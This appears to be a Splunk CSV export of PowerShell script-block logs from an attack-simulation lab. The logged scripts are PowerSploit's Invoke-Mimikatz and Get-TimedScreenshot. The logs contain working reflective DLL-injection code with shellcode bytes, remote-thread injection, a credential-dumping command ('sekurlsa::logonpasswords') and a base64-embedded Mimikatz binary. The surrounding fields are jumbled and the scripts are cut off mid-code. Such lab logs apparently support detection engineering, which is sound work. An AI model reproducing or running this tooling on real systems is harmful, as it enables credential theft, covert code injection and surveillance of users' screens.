i8v/FQeKCABIg8RwW8PMQFNIg+xASIvZQbABSI1MJDD/FTmLCACFwHgvD7dEJDBIjRWxCwkATItMJDhBuBsAAABIi8uJRCQg/xXBiQgASI1MJDD/Ff6KCABIg8RAW8NIi8REiUggRIlAGEiJUBBIiUgIVVNWV0FUQVVBVkFXSI1ooUiB7IgAAAAz20iNTedEi+tIiR0esAwASI09F7AMAP8VyYEIAESNSxJFM8Az0kiNTef/FQaICABMi/BIg/j/D4QLAwAAi/OJXX9IjUX3x0X3IAAAAESLzkiJRCQgTI1F5zPSSYvO/xXa",,,,,,,,,,,"'2022-05-02T18:24:34.886389300Z'","4104132150x0122255Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122255Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local7120ible -eq $true) { Write-Verbose ""Update memory protection flags"" Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types } else { Write-Verbose ""PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"" } } else { Write-Verbose ""PE being loaded in to a remote process, not adjusting memory permissions"" } #If remote loading, copy the DLL in to remote process memory if ($RemoteLoading -eq $true) { [UInt32]$NumBytesWritten = 0 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) if ($Success -eq $false) { Throw ""Unable to write shellcode to remote process memory."" } } #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function if ($PEInfo.FileType -ieq ""DLL"") { if ($RemoteLoading -eq $false) { Write-Verbose ""Calling dllmain so the DLL knows it has been loaded"" $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null } else { $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) if ($PEInfo.PE64Bit -eq $true) { #Shellcode: CallDllMain.asm $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) } else { #Shellcode: CallDllMain.asm $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) } $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) $SCPSMemOriginal = $SCPSMem Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) if ($RSCAddr -eq [IntPtr]::Zero) { Throw ""Unable to allocate memory in the remote process for shellcode"" } $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) { Throw ""Unable to write shellcode to remote process memory."" } $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw ""Call to CreateRemoteThread to call GetProcAddress failed."" } $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null } } elseif ($PEInfo.FileType -ieq ""EXE"") { #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) Write-Verbose ""Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in."" $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null while($true) { [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) if ($ThreadDone -eq 1) { Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants Write-Verbose ""EXE thread has completed."" break } else { Start-Sleep -Seconds 1 } } } return @($PEInfo.PEHandle, $EffectivePEHandle) } Function Invoke-MemoryFreeLibrary { Param( [Parameter(Position=0, Mandatory=$true)] [IntPtr] $PEHandle ) #Get Win32 constants and functions $Win32Constants = Get-Win32Constants $Win32Functions = Get-Win32Functions $Win32Types = Get-Win32Types $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants #Call FreeLibrary for all the imports of the DLL if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) { [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) while ($true) { $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) #If the structure is null, it signals that this is the end of the array if ($ImportDescriptor.Characteristics -eq 0 ` -and $ImportDescriptor.FirstThunk -eq 0 ` -and $ImportDescriptor.ForwarderChain -eq 0 ` -and $ImportDescriptor.Name -eq 0 ` -and $ImportDescriptor.TimeDateStamp -eq 0) { Write-Verbose ""Done unloading the libraries needed by the PE"" break } $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) if ($ImportDllHandle -eq $null) { Write-Warning ""Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways"" -WarningAction Continue } $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) if ($Success -eq $false) { Write-Warning ""Unable to free library: $ImportDllPath. Continuing anyways."" -WarningAction Continue } $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) } } #Call DllMain with process detach Write-Verbose ""Calling dllmain so the DLL knows it is being unloaded"" $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) if ($Success -eq $false) { Write-Warning ""Unable to call VirtualFree on the PE's memory. Continuing anyways."" -WarningAction Continue } } Function Main { $Win32Functions = Get-Win32Functions $Win32Types = Get-Win32Types $Win32Constants = Get-Win32Constants $RemoteProcHandle = [IntPtr]::Zero #If a remote process to inject in to is specified, get a handle to it if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne """")) { Throw ""Can't supply a ProcId and ProcName, choose one or the other"" } elseif ($ProcName -ne $null -and $ProcName -ne """") { $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) if ($Processes.Count -eq 0) { Throw ""Can't find process $ProcName"" } elseif ($Processes.Count -gt 1) { $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId Write-Output $ProcInfo Throw ""More than one instance of $ProcName found, please specify the process ID to inject in to."" } else { $ProcId = $Processes[0].ID } } #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) # { # Write-Verbose ""Getting SeDebugPrivilege"" # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants # } if (($ProcId -ne $null) -and ($ProcId -ne 0)) { $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) if ($RemoteProcHandle -eq [IntPtr]::Zero) { Throw ""Couldn't obtain the handle for process ID: $ProcId"" } Write-Verbose ""Got the handle for the remote process to inject in to"" } #Load the PE reflectively Write-Verbose ""Calling Invoke-MemoryLoadLibrary"" try { $Processors = Get-WmiObject -Class Win32_Processor } catch { throw ($_.Exception) } if ($Processors -is [array]) { $Processor = $Processors[0] } else { $Processor = $Processors } if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8) ) { Write-Verbose ( ""Architecture: "" + $Processor.AddressWidth + "" Process: "" + ([System.IntPtr]::Size * 8)) Write-Error ""PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS."" -ErrorAction Stop } #Determine whether or not to use 32bit or 64bit bytes if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) { [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64) } else { [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) } $PEBytes[0] = 0 $PEBytes[1] = 0 $PEHandle = [IntPtr]::Zero if ($RemoteProcHandle -eq [IntPtr]::Zero) { $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs } else { $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle } if ($PELoadedInfo -eq [IntPtr]::Zero) { Throw ""Unable to load PE, handle returned is NULL"" } $PEHandle = $PELoadedInfo[0] $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants if (($PEInfo.FileType -ieq ""DLL"") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) { ######################################### ### YOUR CODE GOES HERE ######################################### Write-Verbose ""Calling function with WString return type"" [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName ""powershell_reflective_mimikatz"" if ($WStringFuncAddr -eq [IntPtr]::Zero) { Throw ""Couldn't find function address."" } $WStringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) $WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs) [IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput) [System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput) if ($OutputPtr -eq [IntPtr]::Zero) { Throw ""Unable to get output, Output Ptr is NULL"" } else { $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) Write-Output $Output $Win32Functions.LocalFree.Invoke($OutputPtr); } ######################################### ### END OF YOUR CODE ######################################### } #For remote DLL injection, call a void function which takes no parameters elseif (($PEInfo.FileType -ieq ""DLL"") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) { $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName ""VoidFunc"" if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) { Throw ""VoidFunc couldn't be found in the DLL"" } $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions } #Don't free a library if it is injected in a remote process if ($RemoteProcHandle -eq [IntPtr]::Zero) { Invoke-MemoryFreeLibrary -PEHandle $PEHandle } else { #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) if ($Success -eq $false) { Write-Warning ""Unable to call VirtualFree on the PE's memory. Continuing anyways."" -WarningAction Continue } } Write-Verbose ""Done!"" } Main } #Main function to either run the script locally or remotely Function Main { if (($PSCmdlet.MyInvocation.BoundParameters[""Debug""] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters[""Debug""].IsPresent) { $DebugPreference = ""Continue"" } Write-Verbose ""PowerShell ProcessID: $PID"" if ($PsCmdlet.ParameterSetName -ieq ""DumpCreds"") { $ExeArgs = ""sekurlsa::logonpasswords exit"" } elseif ($PsCmdlet.ParameterSetName -ieq ""DumpCerts"") { $ExeArgs = ""crypto::cng crypto::capi `""crypto::certificates /export`"" `""crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE`"" exit"" } else { $ExeArgs = $Command } [System.IO.Directory]::SetCurrentDirectory($pwd) # 2.1 (x64) 20161029 OJ Edition! # SHA256 hash: C36572664731F058A282FA6F943E48FE80646F6613C3A46F3EEE1F4A121B2158 # VirusTotal Analysis: https://www.virustotal.com/en/file/c36572664731f058a282fa6f943e48fe80646f6613c3a46f3eee1f4a121b2158/analysis/1478821040/ $PEBytes64 = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABnB4EsI2bvfyNm738jZu9/l/oefyZm73+X+hx/tmbvf5f6HX8tZu9/GDjsfiRm738YOOp+Nmbvfxg4634xZu9/RYgkfydm738qHmh/IWbvf1X7lH8lZu9/Kh58fz5m738jZu5/smfvf7Q4535vZu9/tDjvfiJm73+xOBB/Imbvf7Q47X4iZu9/UmljaCNm738AAAAAAAAAAAAAAAAAAAAAUEUAAGSGBwBTAyVYAAAAAAAAAADwACIgCwIOAAB4CAAAlAQAAAAAAGh1BgAAEAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAYA0AAAQAAAAAAAADAGABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAPAjDABgAAAAUCQMAJABAAAAMA0AiAIAAADQDAAwTgAAAAAAAAAAAAAAQA0AWBIAAFDsCwAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcOwLAJQAAAAAAAAAAAAAAACQCAC4DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAwdggAABAAAAB4CAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAIsEDAACQCAAAwgMAAHwIAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAJxmAAAAYAwAAEwAAAA+DAAAAAAAAAAAAAAAAABAAADALnBkYXRhAAAwTgAAANAMAABQAAAAigwAAAAAAAAAAAAAAAAAQAAAQC5nZmlkcwAAmAAAAAAgDQAAAgAAANoMAAAAAAAAAAAAAAAAAEAAAEAucnNyYwAAAIgCAAAAMA0AAAQAAADcDAAAAAAAAAAAAAAAAABAAABALnJlbG9jAABYEgAAAEANAAAUAAAA4AwAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiNBYG2DADDTIlEJBhMiUwkIFNVVldIg+w4SYvwSI1sJHhIi9pIi/no0////0iJbCQoTIvOSINkJCAATIvDSIvXSIsI6Ee1BgCDyf+FwA9IwUiDxDhfXl1bw8zMQFNIg+xwSIvCSIvZSIvISI1UJFD/FTKHCACFwHR3D7dUJFpIjUwkYEQPt0QkWA+3RCRcRA+3VCRWRA+3XCRSRA+3TCRQiUQkQIlUJDi6EAAAAESJRCQwTI0F9gsJAESJVCQoRIlcJCDoP////4XAfiRMjUwkYEjHRCQgDwAAAEG4GAAAAEiNFegLCQBIi8v/FQeKCABIg8RwW8PMQFNIg+xASIvZQbABSI1MJDD/FTmLCACFwHgvD7dEJDBIjRWxCwkATItMJDhBuBsAAABIi8uJRCQg/xXBiQgASI1MJDD/Ff6KCABIg8RAW8NIi8REiUggRIlAGEiJUBBIiUgIVVNWV0FUQVVBVkFXSI1ooUiB7IgAAAAz20iNTedEi+tIiR0esAwASI09F7AMAP8VyYEIAESNSxJFM8Az0kiNTef/FQaICABMi/BIg/j/D4QLAwAAi/OJXX9IjUX3x0X3IAAAAESLzkiJRCQgTI1F5zPSSYvO/xXafb55df30-b22e-428c-9941-1d18b4570d38C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Invoke-Mimikatz.ps1","2022-05-02T18:24:34.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122255,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122255,win,404,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><><><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error track_event_signatures",,,"error track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows" "'{7B7F4240-5E23-0005-4566-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"11function Get-TimedScreenshot { <# .SYNOPSIS Takes screenshots at a regular interval and saves them to disk. PowerSploit Function: Get-TimedScreenshot Author: Chris Campbell (@obscuresec) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION A function that takes screenshots and saves them to a folder. .PARAMETER Path Specifies the folder path. .PARAMETER Interval Specifies the interval in seconds between taking screenshots. .PARAMETER EndTime Specifies when the script should stop running in the format HH-MM .EXAMPLE PS C:\> Get-TimedScreenshot -Path c:\temp\ -Interval 30 -EndTime 14:00 .LINK http://obscuresecurity.blogspot.com/2013/01/Get-TimedScreenshot.html https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-TimedScreenshot.ps1 #> [CmdletBinding()] Param( [Parameter(Mandatory=$True)] [ValidateScript({Test-Path -Path $_ })] [String] $Path, [Parameter(Mandatory=$True)] [Int32] $Interval, [Parameter(Mandatory=$True)] [String] $EndTime ) #Define helper function that generates and saves screenshot Function Get-Screenshot { $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen $VideoController = Get-WmiObject -Query 'SELECT VideoModeDescription FROM Win32_VideoController' if ($VideoController.VideoModeDescription -and $VideoController.VideoModeDescription -match '(?<ScreenWidth>^\d+) x (?<ScreenHeight>\d+) x .*$') { $Width = [Int] $Matches['ScreenWidth'] $Height = [Int] $Matches['ScreenHeight'] } else { $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen $Width = $ScreenBounds.Width $Height = $ScreenBounds.Height } $Size = New-Object System.Drawing.Size($Width, $Height) $Point = New-Object System.Drawing.Point(0, 0) $ScreenshotObject = New-Object Drawing.Bitmap $Width, $Height $DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject) $DrawingGraphics.CopyFromScreen($Point, [Drawing.Point]::Empty, $Size) $DrawingGraphics.Dispose() $ScreenshotObject.Save($FilePath) $ScreenshotObject.Dispose() } Try { #load required assembly Add-Type -Assembly System.Windows.Forms Do { #get the current time and build the filename from it $Time = (Get-Date) [String] $FileName = ""$($Time.Month)"" $FileName += '-' $FileName += ""$($Time.Day)"" $FileName += '-' $FileName += ""$($Time.Year)"" $FileName += '-' $FileName += ""$($Time.Hour)"" $FileName += '-' $FileName += ""$($Time.Minute)"" $FileName += '-' $FileName += ""$($Time.Second)"" $FileName += '.png' #use join-path to add path to filename [String] $FilePath = (Join-Path $Path $FileName) #run screenshot function Get-Screenshot Write-Verbose ""Saved screenshot to $FilePath. Sleeping for $Interval seconds"" Start-Sleep -Seconds $Interval } #note that this will run once regardless if the specified time as passed While ((Get-Date -Format HH:mm) -lt $EndTime) } Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage} } b62d31d1-ac0b-4fb0-b9ed-3d06bfd24355C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Get-TimedScreenshot.ps1",,4104,122210,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,1,1,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Get-TimedScreenshot.ps1",,,"'5388'",,,,,,122210,,,,"b62d31d1-ac0b-4fb0-b9ed-3d06bfd24355","function Get-TimedScreenshot { <# .SYNOPSIS Takes screenshots at a regular interval and saves them to disk. PowerSploit Function: Get-TimedScreenshot Author: Chris Campbell (@obscuresec) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION A function that takes screenshots and saves them to a folder. .PARAMETER Path Specifies the folder path. .PARAMETER Interval Specifies the interval in seconds between taking screenshots. .PARAMETER EndTime Specifies when the script should stop running in the format HH-MM .EXAMPLE PS C:\> Get-TimedScreenshot -Path c:\temp\ -Interval 30 -EndTime 14:00 .LINK http://obscuresecurity.blogspot.com/2013/01/Get-TimedScreenshot.html https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-TimedScreenshot.ps1 #> [CmdletBinding()] Param( [Parameter(Mandatory=$True)] [ValidateScript({Test-Path -Path $_ })] [String] $Path, [Parameter(Mandatory=$True)] [Int32] $Interval, [Parameter(Mandatory=$True)] [String] $EndTime ) #Define helper function that generates and saves screenshot Function Get-Screenshot { $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen $VideoController = Get-WmiObject -Query 'SELECT VideoModeDescription FROM Win32_VideoController' if ($VideoController.VideoModeDescription -and $VideoController.VideoModeDescription -match '(?<ScreenWidth>^\d+) x (?<ScreenHeight>\d+) x .*$') { $Width = [Int] $Matches['ScreenWidth'] $Height = [Int] $Matches['ScreenHeight'] } else { $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen $Width = $ScreenBounds.Width $Height = $ScreenBounds.Height } $Size = New-Object System.Drawing.Size($Width, $Height) $Point = New-Object System.Drawing.Point(0, 0) $ScreenshotObject = New-Object Drawing.Bitmap $Width, $Height $DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject) $DrawingGraphics.CopyFromScreen($Point, [Drawing.Point]::Empty, $Size) $DrawingGraphics.Dispose() $ScreenshotObject.Save($FilePath) $ScreenshotObject.Dispose() } Try { #load required assembly Add-Type -Assembly System.Windows.Forms Do { #get the current time and build the filename from it $Time = (Get-Date) [String] $FileName = ""$($Time.Month)"" $FileName += '-' $FileName += ""$($Time.Day)"" $FileName += '-' $FileName += ""$($Time.Year)"" $FileName += '-' $FileName += ""$($Time.Hour)"" $FileName += '-' $FileName += ""$($Time.Minute)"" $FileName += '-' $FileName += ""$($Time.Second)"" $FileName += '.png' #use join-path to add path to filename [String] $FilePath = (Join-Path $Path $FileName) #run screenshot function Get-Screenshot Write-Verbose ""Saved screenshot to $FilePath. Sleeping for $Interval seconds"" Start-Sleep -Seconds $Interval } #note that this will run once regardless if the specified time as passed While ((Get-Date -Format HH:mm) -lt $EndTime) } Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage} }",,,,,,,,,,,"'2022-05-02T18:24:33.228808300Z'","4104132150x0122210Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122210Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function Get-TimedScreenshot { <# .SYNOPSIS Takes screenshots at a regular interval and saves them to disk. PowerSploit Function: Get-TimedScreenshot Author: Chris Campbell (@obscuresec) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION A function that takes screenshots and saves them to a folder. .PARAMETER Path Specifies the folder path. .PARAMETER Interval Specifies the interval in seconds between taking screenshots. .PARAMETER EndTime Specifies when the script should stop running in the format HH-MM .EXAMPLE PS C:\> Get-TimedScreenshot -Path c:\temp\ -Interval 30 -EndTime 14:00 .LINK http://obscuresecurity.blogspot.com/2013/01/Get-TimedScreenshot.html https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-TimedScreenshot.ps1 #> [CmdletBinding()] Param( [Parameter(Mandatory=$True)] [ValidateScript({Test-Path -Path $_ })] [String] $Path, [Parameter(Mandatory=$True)] [Int32] $Interval, [Parameter(Mandatory=$True)] [String] $EndTime ) #Define helper function that generates and saves screenshot Function Get-Screenshot { $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen $VideoController = Get-WmiObject -Query 'SELECT VideoModeDescription FROM Win32_VideoController' if ($VideoController.VideoModeDescription -and $VideoController.VideoModeDescription -match '(?<ScreenWidth>^\d+) x (?<ScreenHeight>\d+) x .*$') { $Width = [Int] $Matches['ScreenWidth'] $Height = [Int] $Matches['ScreenHeight'] } else { $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen $Width = $ScreenBounds.Width $Height = $ScreenBounds.Height } $Size = New-Object System.Drawing.Size($Width, $Height) $Point = New-Object System.Drawing.Point(0, 0) $ScreenshotObject = New-Object Drawing.Bitmap $Width, $Height $DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject) $DrawingGraphics.CopyFromScreen($Point, [Drawing.Point]::Empty, $Size) $DrawingGraphics.Dispose() $ScreenshotObject.Save($FilePath) $ScreenshotObject.Dispose() } Try { #load required assembly Add-Type -Assembly System.Windows.Forms Do { #get the current time and build the filename from it $Time = 